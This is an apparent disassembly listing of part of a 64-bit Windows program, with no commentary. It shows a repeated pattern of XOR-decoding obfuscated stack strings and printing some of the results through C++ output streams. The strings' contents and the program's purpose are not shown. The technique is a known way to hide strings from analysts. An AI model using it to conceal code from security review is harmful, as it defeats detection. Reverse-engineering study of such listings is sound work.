movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x360]
vmovdqu xmmword [rbp + 0x360], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x1e40]
call fcn.1400800a0
nop
cmp qword [rbp + 0x1ec8], r13
je 0x1400e6730
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x370], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x378], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x370]
vmovdqu xmmword [rbp + 0x370], xmm1
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1e40]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e6713
lea rcx, [rbp + 0x1e40]
call fcn.140060f20
nop
jmp 0x1400e70d1
call fcn.140060fa0
movabs rax, 0xde8a38bee83fbe9a
mov qword [rbp + 0x990], rax
movabs rax, 0x5c0a50aaee37b7a4
mov qword [rbp + 0x998], rax
movabs rax, 0x763b86aef5b8fbe4
mov qword [rbp + 0x9a0], rax
movabs rax, 0x7faee0a64d37b7e8
mov qword [rbp + 0x9a8], rax
movabs rax, 0x76bd54a7a0c2bca6
mov qword [rbp + 0x9b0], rax
movabs rax, 0x69354ba623bef5ba
mov qword [rbp + 0x9b8], rax
movabs rax, 0xd586b5baeb1ea8ad
mov qword [rbp + 0x9c0], rax
movabs rax, 0x6316d898ad14aea7
mov qword [rbp + 0x9c8], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x990]
vmovdqu xmmword [rbp + 0x990], xmm1
vmovdqu xmm2, xmmword [rbp + 0x9a0]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x9a0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x9b0]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x9b0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x9c0]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x9c0], xmm1
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x1220]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x380]
vmovdqu xmmword [rbp + 0x380], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1f50]
call fcn.1400800a0
nop
cmp qword [rbp + 0x1fd8], r13
je 0x1400e6995
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x390], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x398], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x390]
vmovdqu xmmword [rbp + 0x390], xmm1
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x1f50]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e6978
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1f50]
call fcn.140060f20
nop
jmp 0x1400e70d1
call fcn.140060fa0
movabs rax, 0xde8a38bee83fbe9a
mov qword [rbp + 0x9d0], rax
movabs rax, 0x481050aaee37b7a4
mov qword [rbp + 0x9d8], rax
movabs rax, 0x7f698cbaffbcbeaa
mov qword [rbp + 0x9e0], rax
movabs rax, 0x71a8eaa05b38aea9
mov qword [rbp + 0x9e8], rax
movabs rax, 0x3dab50acad8db7e8
mov qword [rbp + 0x9f0], rax
movabs rax, 0x68705de806f09ae8
mov qword [rbp + 0x9f8], rax
movabs rax, 0xd9c9b8e8fe18babc
mov qword [rbp + 0xa00], rax
movabs rax, 0x63389be6ce36fbba
mov qword [rbp + 0xa08], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x9d0]
vmovdqu xmmword [rbp + 0x9d0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x9e0]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x9e0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x9f0]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x9f0], xmm2
vmovdqu xmm0, xmmword [rbp + 0xa00]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xa00], xmm1
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x1240]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3a0]
vmovdqu xmmword [rbp + 0x3a0], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x2060]
call fcn.1400800a0
nop
cmp qword [rbp + 0x20e8], r13
je 0x1400e6bfa
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x3b0], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x3b8], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3b0]
vmovdqu xmmword [rbp + 0x3b0], xmm1
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x2060]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e6bdd
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2060]
call fcn.140060f20
nop
jmp 0x1400e70d1
call fcn.140060fa0
movabs rax, 0xd88a38bee83fbe9a
mov qword [rbp + 0xa10], rax
movabs rax, 0xd5e17e4b87dbaac
mov qword [rbp + 0xa18], rax
movabs rax, 0x662885e8f5a8b4ae
mov qword [rbp + 0xa20], rax
movabs rax, 0x7ae6e4a6513eb8a6
mov qword [rbp + 0xa28], rax
movabs rax, 0x52f91bbaa986baa7
mov qword [rbp + 0xa30], rax
movabs rax, 0x7a615cad10bebfa6
mov qword [rbp + 0xa38], rax
movabs rax, 0x8cd4b4a7f34aafba
mov qword [rbp + 0xa40], rax
movabs rax, 0x63389bc88d489898
mov qword [rbp + 0xa48], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xa10]
vmovdqu xmmword [rbp + 0xa10], xmm1
vmovdqu xmm2, xmmword [rbp + 0xa20]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xa20], xmm0
vmovdqu xmm1, xmmword [rbp + 0xa30]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xa30], xmm2
vmovdqu xmm0, xmmword [rbp + 0xa40]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xa40], xmm1
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x1260]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3c0]
vmovdqu xmmword [rbp + 0x3c0], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x2170]
call fcn.1400800a0
nop
cmp qword [rbp + 0x21f8], r13
je 0x1400e6e5f
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x3d0], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x3d8], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3d0]
vmovdqu xmmword [rbp + 0x3d0], xmm1
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x2170]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e6e42
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2170]
call fcn.140060f20
nop
jmp 0x1400e70d1
call fcn.140060fa0
movabs rax, 0xd88a38bee83fbe9a
mov qword [rbp + 0xa50], rax
movabs rax, 0xd5e17e4be78baac
mov qword [rbp + 0xa58], rax
movabs rax, 0x662885e8f5a8b4ae
mov qword [rbp + 0xa60], rax
movabs rax, 0x7ae6e4a6513eb8a6
mov qword [rbp + 0xa68], rax
movabs rax, 0x52f91bbaa986baa7
mov qword [rbp + 0xa70], rax
movabs rax, 0x7a615cad10bebfa6
mov qword [rbp + 0xa78], rax
movabs rax, 0x8cd4b4a7f34aafba
mov qword [rbp + 0xa80], rax
movabs rax, 0x63389bc88d489898
mov qword [rbp + 0xa88], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xa50]
vmovdqu xmmword [rbp + 0xa50], xmm1
vmovdqu xmm2, xmmword [rbp + 0xa60]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xa60], xmm0
vmovdqu xmm1, xmmword [rbp + 0xa70]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xa70], xmm2
vmovdqu xmm0, xmmword [rbp + 0xa80]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xa80], xmm1
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x1280]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3e0]
vmovdqu xmmword [rbp + 0x3e0], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x2280]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2308], r13
je 0x1400e70c4
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x3f0], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x3f8], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x3f0]
vmovdqu xmmword [rbp + 0x3f0], xmm1
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x2280]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e70a7
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2280]
call fcn.140060f20
nop
mov rcx, rdi
jmp 0x1400e7632
call fcn.140060fa0
movabs rax, 0xe28a38bee83fbe9a
mov qword [rbp + 0x770], rax
movabs rax, 0x48107387fa3cbaa0
mov qword [rbp + 0x778], rax
movabs rax, 0x7f698cbaffbcbeaa
mov qword [rbp + 0x780], rax
movabs rax, 0x71a8eaa05b38aea9
mov qword [rbp + 0x788], rax
movabs rax, 0x3dab50acad8db7e8
mov qword [rbp + 0x790], rax
movabs rax, 0x68705de806f09ae8
mov qword [rbp + 0x798], rax
movabs rax, 0xd9c9b8e8fe18babc
mov qword [rbp + 0x7a0], rax
movabs rax, 0x63389be6ce36fbba
mov qword [rbp + 0x7a8], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x770]
vmovdqu xmmword [rbp + 0x770], xmm1
vmovdqu xmm2, xmmword [rbp + 0x780]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x780], xmm0
vmovdqu xmm1, xmmword [rbp + 0x790]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x790], xmm2
vmovdqu xmm0, xmmword [rbp + 0x7a0]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x7a0], xmm1
vpxor xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x148], xmm2
mov qword [rbp + 0x158], r13
mov qword [rbp + 0x160], r13
lea rax, [rbp + 0x770]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e7255
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x148]
call fcn.140083fc0
lea rax, [rbp + 0x148]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x400]
vmovdqu xmmword [rbp + 0x400], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x2390]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2418], r13
je 0x1400e736f
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x410], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x418], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x410]
vmovdqu xmmword [rbp + 0x410], xmm1
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x2390]
call fcn.140083370
lea rdx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rdx, qword [rbp + 0x148]
mov r8, qword [rbp + 0x158]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2390]
call fcn.140060f20
nop
lea rcx, [rbp + 0x148]
jmp 0x1400e7632
call fcn.140060fa0
movabs rax, 0xe58a38bce23ebe8c
mov qword [rbp + 0x670], rax
movabs rax, 0xd585e80e42fafa1
mov qword [rbp + 0x678], rax
movabs rax, 0x763b86aef5b8fbe4
mov qword [rbp + 0x680], rax
movabs rax, 0x7faee0a64d37b7e8
mov qword [rbp + 0x688], rax
movabs rax, 0x76bd54a7a0c2bca6
mov qword [rbp + 0x690], rax
movabs rax, 0x69354ba623bef5ba
mov qword [rbp + 0x698], rax
movabs rax, 0xd586b5baeb1ea8ad
mov qword [rbp + 0x6a0], rax
movabs rax, 0x6316d898ad14aea7
mov qword [rbp + 0x6a8], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x670]
vmovdqu xmmword [rbp + 0x670], xmm1
vmovdqu xmm2, xmmword [rbp + 0x680]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x680], xmm0
vmovdqu xmm1, xmmword [rbp + 0x690]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x690], xmm2
vmovdqu xmm0, xmmword [rbp + 0x6a0]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x6a0], xmm1
vpxor xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x168], xmm2
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x180], r13
lea rax, [rbp + 0x670]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e7504
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x168]
call fcn.140083fc0
lea rax, [rbp + 0x168]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x420]
vmovdqu xmmword [rbp + 0x420], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x24a0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2528], r13
je 0x1400e761e
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x430], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x438], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x430]
vmovdqu xmmword [rbp + 0x430], xmm1
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x24a0]
call fcn.140083370
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rdx, qword [rbp + 0x168]
mov r8, qword [rbp + 0x178]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x24a0]
call fcn.140060f20
nop
lea rcx, [rbp + 0x168]
call fcn.1400808a0
nop
lea rcx, [rbp - 0x40]
call fcn.1400808a0
jmp 0x1400e7c11
call fcn.140060fa0
movabs rax, 0xc98a38bce23ebe8c
mov qword [rbp + 0x6b0], rax
movabs rax, 0xa1c1bafe82aeffe
mov qword [rbp + 0x6b8], rax
movabs rax, 0x7225c9ade2b5bdad
mov qword [rbp + 0x6c0], rax
movabs rax, 0x36a1eda15035b5bd
mov qword [rbp + 0x6c8], rax
movabs rax, 0x33f747ada883b4a4
mov qword [rbp + 0x6d0], rax
movabs rax, 0x6f664aba42fab589
mov qword [rbp + 0x6d8], rax
movabs rax, 0xded3aeb1aa1ea9a9
mov qword [rbp + 0x6e0], rax
movabs rax, 0x63389bc8a3258be8
mov qword [rbp + 0x6e8], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x6b0]
vmovdqu xmmword [rbp + 0x6b0], xmm1
vmovdqu xmm2, xmmword [rbp + 0x6c0]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x6c0], xmm0
vmovdqu xmm1, xmmword [rbp + 0x6d0]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x6d0], xmm2
vmovdqu xmm0, xmmword [rbp + 0x6e0]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x6e0], xmm1
vpxor xmm2, xmm2, xmm2
vmovups xmmword [rbp + 0x188], xmm2
mov qword [rbp + 0x198], r13
mov qword [rbp + 0x1a0], r13
lea rax, [rbp + 0x6b0]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e77c2
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x188]
call fcn.140083fc0
lea rax, [rbp + 0x188]
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x440]
vmovdqu xmmword [rbp + 0x440], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x25b0]
call fcn.1400800a0
nop
cmp qword [rbp + 0x2638], r13
je 0x1400e78dc
movabs rax, 0x91d832baf537fb93
mov qword [rbp + 0x450], rax
movabs rax, 0x683c37c8aa63fb95
mov qword [rbp + 0x458], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x450]
vmovdqu xmmword [rbp + 0x450], xmm1
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x25b0]
call fcn.140083370
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x25b0]
call fcn.140060f20
nop
lea rcx, [rbp + 0x188]
call fcn.1400808a0
nop
mov r8, qword [rbp - 0x28]
cmp r8, 0xf
jbe 0x1400e7c01
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.1400828f0
jmp 0x1400e7c01
call fcn.140060fa0
movabs rax, 0xe68a38bce23ebe8c
mov qword [rbp + 0x6f0], rax
movabs rax, 0x34e56a0f92ba9a1
mov qword [rbp + 0x6f8], rax
movabs rax, 0x763b86aef5b8fbe4
mov qword [rbp + 0x700], rax
movabs rax, 0x7faee0a64d37b7e8
mov qword [rbp + 0x708], rax
movabs rax, 0x76bd54a7a0c2bca6
mov qword [rbp + 0x710], rax
movabs rax, 0x69354ba623bef5ba
mov qword [rbp + 0x718], rax
movabs rax, 0xd586b5baeb1ea8ad
mov qword [rbp + 0x720], rax
movabs rax, 0x6316d898ad14aea7
mov qword [rbp + 0x728], rax
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], r14
movabs rsi, 0x683c37c88a4edbc8
mov qword [rsp + 0x68], rsi
